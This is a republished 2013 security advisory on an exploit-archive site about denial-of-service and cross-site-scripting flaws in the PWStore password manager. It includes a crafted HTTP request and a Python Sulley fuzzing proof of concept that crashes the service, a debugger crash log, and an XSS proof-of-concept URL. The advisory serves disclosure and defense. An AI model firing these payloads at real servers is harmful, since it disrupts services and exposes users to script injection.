首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
PWStore 2010.8.30.0 Cross Site Scripting / Denial Of Service
来源:http://www.realpentesting.blogspot.com 作者:Nunez 发布时间:2013-09-10  
##############################################################################
  
                     - RealPentesting Advisory -
  
###############################################################################
  
  Title: MULTIPLE VULNERABILITIES IN PWSTORE 2010.8.30.0
  Severity: Medium
  History: 16.Apr.2013 Vulnerability reported
  Authors: Josep Pi Rodriguez, Pedro Guillen Nuñez, Miguel Angel de Castro Simon
  Organization: RealPentesting
  URL: http://www.realpentesting.blogspot.com
  Product: Pwstore
  Version: 2010.8.30.0
  Vendor: Aultware
  Url Vendor: http://www.aultware.com/pwstore.html
  Platform: Windows
  Type of vulnerability: Denial of Servive (DoS) AND  Cross Site Scripting (XSS)
  Issue fixed in version: (Not fixed)
  CVE Identifiers: CVE-2013-5657 (DoS), CVE-2013-5658 (XSS)
  
[ DESCRIPTION SOFTWARE ]
  
From vendor website:
pwStore is a department / multi-user password management tool designed for small to medium sized IT groups.
The purpose of pwStore is to consolidate all of the department's passwords into one secure location while allowing for multiple users to access this information.
As of version 2.0, pwStore has been re-written as a webserver and runs as a Windows service.
  
[ VULNERABILITY DETAILS ]
  
DENIAL OF SERVICE (DOS):
  
Pwstore suffers from a dos vulnerability.
In order to exploit the vulnerability You have to put the characters \x0d\x0a (Hexadecimal) after the HTTP Headers as you can see above:
--------------
GET / HTTP/1.1
HOST:\x0d\x0a
\r\n\r\n
---------------
We make using the sulley framework a poc code in order to exploit the vulnerability:
  
########################################################################################################
#!/usr/bin/env python
from sulley import *
import sys
import time
  
s_initialize("HTTP")
  
s_static("GET / HTTP/1.1\r\n")
s_static("Host")
s_static(":\x0d\x0a")
s_static(" ")
s_string("192.168.1.39")
s_static("\r\n")
s_static("\r\n")
  
print "Instantiating session"
sess = sessions.session(session_filename="https_pwstore.session", proto="ssl", sleep_time=0.50)
print "Instantiating target"
target = sessions.target("192.168.1.39", 443)
#target.procmon = pedrpc.client("127.0.0.1", 26002)
#target.netmon = pedrpc.client("127.0.0.1", 26001)
  
target.procmon_options =  {
    "proc_name" : "savant.exe",
    "stop_commands" : ['wmic process where (name="savant.exe") delete"'],
    "start_commands" : ['C:\\savant\\savant.exe'],
}
  
  
print "Adding target"
sess.add_target(target)
  
print "Building graph"
sess.connect(s_get("HTTP"))
  
print "Starting fuzzing now"
sess.fuzz()
#####################################################################################
  
Evidence Log
---------
(2a4.cfc): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000000 ebx=01c40062 ecx=3fffffff edx=00000003 esi=01c40062 edi=00000000
eip=01017dce esp=0155fd94 ebp=0155fe98 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010206
*** WARNING: Unable to verify checksum for C:\pwStore\C70RUN.dll
*** ERROR: Symbol file could not be found.  Defaulted to export symbols for C:\pwStore\C70RUN.dll -
C70RUN!memcpy+0x3a:
01017dce f3a5            rep movs dword ptr es:[edi],dword ptr [esi]
  
  
#####################################################################################
  
CROSS SITE SCRIPTING (XSS):
  
The software suffers from a xss vulnerability too an this is in unatheunticated manner. You can check the vulnerability with this url POC:
https://192.168.1.39/?81c93"><script>alert(1)</script>86eed54cabcc98664=1&FormState=XJYDWJHIGP&tmp__UserName=aa&tmp__Password=aa&pressedButton=save_btn
  
  
[ VENDOR COMMUNICATION ]
  
16/04/2013 : vendor contacted but no response
20/04/2013: vendor contacted again.No response
29/04/2013: PUBLIC DISCLOSURE

 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·GreenBrowser 6.4.0515 - Heap O
·FuzeZip 1.0 SEH Buffer Overflo
·Oracle Java lookUpByteBI - Hea
·WinArchiver 3.2 SEH Buffer Ove
·PotPlayer 1.5.39036 (.wav) - C
·Fog Dragonfly 0.8.2 Command In
·Wiz 5.0.3 User Mode Write Acce
·freeFTPd 1.0.10 PASS Command S
·HP LoadRunner lrFileIOService
·HP SiteScope Remote Code Execu
·MS13-059 Microsoft Internet Ex
·MS13-055 Microsoft Internet Ex
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved